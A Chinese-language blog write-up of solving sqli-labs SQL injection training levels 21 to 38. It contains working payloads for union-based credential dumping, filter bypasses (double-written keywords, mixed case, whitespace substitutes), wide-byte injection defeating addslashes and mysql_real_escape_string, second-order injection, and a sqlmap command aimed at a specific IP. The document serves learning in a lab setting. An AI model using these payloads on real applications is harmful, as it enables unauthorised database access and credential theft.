sql-labs page2(21~38) 解题过程记录
目錄
less-21( 基于錯誤的復雜的字符型Cookie注入)
less -22(基于錯誤的雙引號字符型Cookie注入)
less-23(基于錯誤的,過濾注釋的GET型)
less-24(二次注入)
less-25?(過濾了or和and)
less-25a(過濾了or和and的盲注)
less-26(過濾了注釋和空格的注入)
less-26(過濾了空格和注釋的盲注)
less-27(過濾了union和select的)
less-27a(過濾union 和select 的雙引號型盲注)
less-28(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)
less-28a(基于盲注的,有括號的單引號字符型,過濾了union和select等的注入)
less-29(基于WAF的一個錯誤)
less-30(Get-Blind Havaing with WAF)
less-31(FUN with? WAF)
less-32(GET-Bypass custom filter adding slashes to dangerous chars(GET-Bypass自定義過濾器為危險的字符添加斜杠)
less-33(GET-Bypass AddSlashes() )
less -34(POST-Bypass AddSlasches() )
less-35(GET-Bypass Add Slashes(we don't need them)Integer based)
less-36(GET-Bypass MYSQL_real_escape_string)
less-37(POST- Bypass MYSQL_real_escape_string)
less-38(Future Editions) 終于是最后一題了卍卍卍卍
less-21( 基于錯誤的復雜的字符型Cookie注入)
輸入admin 和admin :發現cookie 中的uname 經過了加密,瞅一眼是base64?
?
那還和上題一樣,只不過需要把 cookie : 的注入信息先經過base64 的加密
還有一點需要注意: 就是cookie的閉合方式:單引號 和 括號的閉合方式
?
less -22(基于錯誤的雙引號字符型Cookie注入)
和less-21 差不多,不同的是$cookee1的閉合方式:這里需要用雙引號閉合
less-23(基于錯誤的,過濾注釋的GET型)
查看源碼:發現注釋符被替換為空
這里不能用 order by 來查詢有幾個字段
原因:
where與order by是子句,and是操作符,用于where子句。 在MySQL的執行順序中,where是遠在order by前面的。在第一個查詢語句中,id='1' and '1'='1'作為where的條件,先被執行,得到結果集;然后是order by,因結果集中無第四個字段所以報錯。在第二個查詢語句中,order by在where的條件中,在where執行時被忽略了,結果集生成后并未再執行order by這里可以用union來查詢 字段:
?
爆庫payload
?id=' union select 1,2,database() '
爆表payload
爆列名payload
爆值payload
這里ID = -1 不用多說了吧,使左邊查詢為空,騰出回顯位
當輸入:
?id=' union select 5,4,3 or '1'='1時:
這個 1 是從哪里來的呢?? 其實是select 中有3塊,3_column 和后面的 or ‘1’ and ‘1’ 組成的條件恒為真 所以為 1
這說明了這里的回顯位為后兩個,2_column 和 3_column ,所以我們在注入的時候要保證 3_column 的條件恒為 假,才能輸出信息
less-24(二次注入)
我們先注冊一個新賬戶:? admin'#? ?和? ? ?123456 進入后的界面
然后我們修改密碼:
把密碼修改為 123123
此時我們修改的是? admin 的密碼 而不是 admin'#? 賬戶的密碼
可以試一試:
修改完成后就可以 用? admin 和 123123 登錄
用 admin'#? ?和 123456 還是可以登錄? ?用admin'#? 和 123123 不能登錄
?注入成功
或者我們 用 admin 加? 4個空格? ?注冊用戶名? ?也是可以的
或者運用信息截斷也可以? ?比如 數據中的uname 字段的類型為 varcher(10)(這里我們不知道長度是多少假設是10),那么我們可以注冊 “admin+5個空格+a“?
這時超出長度的字符串被截斷 在數據庫中只會存入? admin +5個空格
less-25?(過濾了or和and)
輸入 : ?id=1 提示說過濾了 and 和 or
輸入:?id=1' order by 3 #
的確是過濾掉了 and 和 or? 以及 #
那避開這三個字符:注入:
?id=-1' union select 1,2,database() --+可以注入:
接下來就是 爆庫、爆表、爆字段、脫庫了
但是,在進行爆表、爆字段、和脫庫的時候? 由于 or 字符被過濾了 導致 information? ?中的 or被刪除了 ,這個時候我們就需要雙寫or 就可以了? ?Infoorrmation_schema.tables
那還不是還有第二種方法呢?
方法二? ?雙寫繞過
and? ?寫為? anandd
or? ?寫為? ?oorr
#? ?寫為? --+
這樣不就想怎么注入怎么注入了嘛!
less-25a(過濾了or和and的盲注)
輸入 ?id=2 進入后發現有兩個回顯位,并且提示過濾了 or 和 and
輸入 ?id =2'? ? 和?id=2"? ?都沒有報錯信息顯示,
這時候有四種情況 : 1 , 屏蔽了報錯信息,若是這種情況就不能用? 報錯注入了
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?2, 我們采用的閉合方式不對,語句還是正常閉合的,所以不會報錯
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?3,是數字型注入,根本就不用閉合,你加閉合字符也不會報錯
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?4,情況1 和 情況3 的結合,是數字型的注入并且屏蔽了報錯信息
輸入
?id=2 anandd 1=1 --+ //正常 ?id=2 anandd 1=2 --+ // 不正常 但沒有報錯信息基本可以確定是 情況 4
那這個時候有兩種 注入方法:
一:? ?聯合注入? ? ??id=-2 union select 1,2,database() --+ (還是注意information 中的or雙寫)
?id=-1' union select 1,group_concat(username),group_concat(passwoorrd) from users--+二:? ?盲注(延時 和 布爾 都可以 , 腳本前面都有)
less-26(過濾了注釋和空格的注入)
瞅了一眼源碼:發現過濾了好多字符:or and /*--#/ 空白等
那找一些能替代 空格的其他字符不就行了
對于空格,有較多的方法:
%09 TAB 鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return 功能
%0b TAB 鍵(垂直)
%a0 空格
在windows系統下可能解析不了上面所說的空格的替換方法,所有大家請在linux系統下進行操作,意思是如果是在 windows下搭建的sql-labs ,以上的替換字符就不行,如果是在linux 下搭建的就可以操作
?
// 爆系統信息
?id=0%27%0B%20union%a0select%a01,version(),3%a0anandd%271%27=%271//爆庫
?id=0%27%0B%20union%a0select%a01,database(),3%a0anandd%271%27=%271// 脫庫
?id=0'%a0union%a0select%a01,group_concat(passwoorrd),group_concat(username)%a0from%a0users%a0where%a0'1%27='1?
?
less-26(過濾了空格和注釋的盲注)
先試一下注入:發現不行,并且沒有報錯,不能用報錯注入了
?id=1%27%a0union%a0select%a01,2,3%a0oorr%a0%271%27=%271?id=1' union select 1,2,3 oorr '1'='1考慮可能是閉合方式改變了,瞅了一眼源碼:果然是,加了一個括號
那就要重新考慮沒有注釋符的閉合語法了:
?
脫庫:
?id=0')%0bunion%0bselect%0b1,group_concat(passwoorrd,username),3%0bfrom%0busers%0bwhere%0b('1')=('1less-27(過濾了union和select的)
首先試一下閉合方式:
單引號 會報錯? ok是單引號閉合
題目提示說過濾了 union 和 select ,我去看看源碼:
我去過濾了好多,但是你為什么不先把union ,select都轉化為小寫字母再進行過濾呢????而且沒有再過濾 or? 和 and???
這不就能用 大小寫 混寫的方式 進行查詢了嘛!!!
嘗試性注入:
爆庫:
?id=0%27%a0uNiOn%a0SElect%a01,database(),3%a0or%a0%271%27=%271//成功注入脫庫:
?id=0'%0bUNion%0bSElect%0b1,group_concat(password,username),3%0bfrom%0busers%0bwhere%0b'1'='1//成功注入less-27a(過濾union 和select 的雙引號型盲注)
先找閉合方式:
嘗試注入:
?id=1" //出錯,但不報錯?id=1%22and%a0%221%22=%221 //正常確定是 雙引號 型 盲注
查看源代碼 ,發現過濾的字符跟上題一樣 只改變了閉合方式
這里就不再贅述
less-28(基于錯誤的,有括號的單引號字符型,過濾了union和select等的注入)
本題提示說是過濾了 union 和 select??
先試一下閉合方式
單引號? 有錯誤但沒有報錯? ? ? ?首先排除報錯注入? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ??
雙引號? 正常? ?排除雙引號
對 單引號? : 嘗試注入 :?id=1'and'1'='1? ?(沒有空格,因為我們不知道有沒有過濾空格)? ? ?正常
對 單引號 +括號? : ?id=1')and('1')=('1? ? 正常??
說明注入的閉合方式是? ? ?單引號 +括號
據說是過濾了全部的 union 和select? 那我們試一下到底過濾了沒有:
注入:
?id=0%27)%a0UNion%a0SELect%a01,database(),3%a0or%a0(%271%27)=(%271發現竟然可以回顯正常,不知道為什么 ,程序出錯了???
那ok? 正常注入唄
還是看一眼源碼吧:
即使是真的過濾了 所有的union 和 select 那我們也可以用? ?雙寫繞過:
uniunionon? ? 和 seleselectt? ?
less-28a(基于盲注的,有括號的單引號字符型,過濾了union和select等的注入)
本題和 上題完全一樣 用less-28 的繞過方式
?
less-29(基于WAF的一個錯誤)
繞過waf,這啥也沒過濾啊?
直接 用聯合查詢就簡單繞過了
?
這里看了一眼別人的博客https://blog.csdn.net/nzjdsds/article/details/77758824
less-30(Get-Blind Havaing with WAF)
按部就班,先確定閉合方式,注入 ?id=1" --+ 正常? ? 確定為? 雙引號閉合
用聯合查詢試一下:?
?id=-1" union select 1,2,database() --+ ?id=-1" union select 1,group_concat(username),group_concat(password)from users --+注入正常,???這是什么WAF?啥都沒有過濾
?
less-31(FUN with? WAF)
閉合方式為? ?雙引號 + 括號
本題 可以報錯? ?試了一下 報錯注入 發現也可以回顯
?id=1") and 1=extractvalue(1,concat(0x7e,(database())))--+用正常的聯合查詢 也可以
看了一眼源碼好像也沒過濾什么東西 ,難道這幾題是來湊數的???不懂
注入結束
less-32(GET-Bypass custom filter adding slashes to dangerous chars)
(GET-Bypass自定義過濾器為危險的字符添加斜杠)
常規下試閉合方式:
輸入?id=1'? ? 發現單引號被自動添加了 轉譯符 \?
這里涉及到 寬字節 注入 的相關知識
寬字節注入:
原理大概來說就是,一個雙字節組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當我們使用?id=-1%E6' 這樣的構造時,' 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫
這里插入 別人的博客:
注入:
?id=-1%E6' union select 1,database(),3--+回顯正常
但在包字段時 需要用到? 'users'? 含有單引號? ,這里我們肯定不能用 寬字節去吸收\ 了 那我們可以直接將 users 進行16進制編碼
users? ? =? 0x7573657273? ?這樣就用在用 ''了
?id=-1%E6%27%20union%20select%201,2,group_concat(column_name)from%20information_schema.columns%20where%20table_name%20=0x7573657273--+搞到這里的時候我在想 我們可不可以直接將? 整個 注入語句進行 16 進制 編碼 呢?
嘗試一下,發現不行 那行吧?
?
less-33(GET-Bypass AddSlashes() )
?
和上題一樣 都是? 繞過? addslashes()
閉合方式也沒有改變? 直接用上一題的 payload 進行注入就行
?
less -34(POST-Bypass AddSlasches() )
post 類型 的 addslasches() 的繞過
這 表單中直接輸入 %df? 或者? %E6? 進行快字節注入時? ? 發現? 錯誤
看了別人的博客 說是? 在 url 輸入欄中的 %df? 和 %E6 會被 轉義? ?,但在表單中不會被轉義
那 就直接 將 %df? 和? %E6等? 換作??� (這個字符鍵盤中 沒有? ?直接粘貼即可)
看回顯位:說明有兩個回顯位
�' order by 3 # // 報錯 �' order by 3 # // 正常?
//爆庫名�' union select database(),2 # // 脫庫�' union select group_concat(username),group_concat(password)from users #?
less-35(GET-Bypass Add Slashes(we don't need them)Integer based)
輸入 :?id=1%df' --+
好像不用 加單引號 ,那就是 數字型注入了
試一下:
?id=1 and 1=1--+ 正常?id=1 and 1=2--+ 錯誤說明是 數字型注入
//爆庫名?id=-1 union select 1,database(),2 # // 脫庫?id=-1 union select 1,group_concat(username),group_concat(password) from users#less-36(GET-Bypass MYSQL_real_escape_string)
查了一下 這個函數?mysql_real_escape_string?()
php官方給的解釋是:
本函數將?unescaped_string?中的特殊字符轉義,并計及連接的當前字符集,因此可以安全用于?mysql_query()。
mysql_real_escape_string()?調用mysql庫的函數 mysql_real_escape_string,
在以下字符前添加反斜杠:?\x00,?\n,?\r,?\,?',?"?和?\x1a.
為了安全起見,在像MySQL傳送查詢前,必須調用這個函數(除了少數例外情況)。
?
但這題 依然可以用 寬字節 注入的方式進行 吃掉 \??
這里不再贅述!
less-37(POST- Bypass MYSQL_real_escape_string)
本題通過 POST 傳參
繞過 mysql_real_escape_string()函數
還是用寬字節繞過? 只不過 將 %df? 換為??�
注意這里的回顯位是 兩個 其他的沒什么 正常注入即可
less-38(Future Editions) 終于是最后一題了卍卍卍卍
?
這題沒有報錯信息 ,直接用sqlmap 跑一下 就出來了
python2 sqlmap.py -u "http://43.247.91.228:84/Less-38/?id=1" --batch --level 3 --dbs或者用盲注的 py 腳本 跑一下 也能跑出來? (布爾型的,和延時型的腳本都可以)
看別人的博客還用了? 堆疊注入 (我也不太了解,進一步學習后再 回來 補充吧)
聽說 less-38 ~ 45 都是 堆疊注入類型的題
?
做一個小總結吧:
? ? ? ?要 是只通過 看別人的博客 或者 看書學習 sql 注入的話 ,隔兩天就忘得差不多了, 還是通過做題比較好,印象深刻,
但是不能為了做題而做題,每做一題 ,都要把要題中涉及到的知識點 弄清楚,最好是能記住,畢竟我們的目的不是吧這些題做
完 ,而是 通過做題學習 sql注入的知識,可能剛開始我們啥也不會,遇到題也不知道從哪里下手,那就多找幾篇 大佬的博客看看
,看看別人是怎么做的,一定要多看幾個人的,因為每個人的思路都不盡相同,然后一定要自己動手操作一下,盡量多用集種方
法,學會多方式繞過,個人拙見!
?
這篇博客是我? ?看了至少 8篇博客 看過別人的做法后? 自己動手實踐? 通過后? ?做的做題記錄
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
?
總結
以上是生活随笔為你收集整理的sql-labs page2(21~38) 解题过程记录的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF——Web——php 弱类型总结
- 下一篇: bugku ——加密 做题记录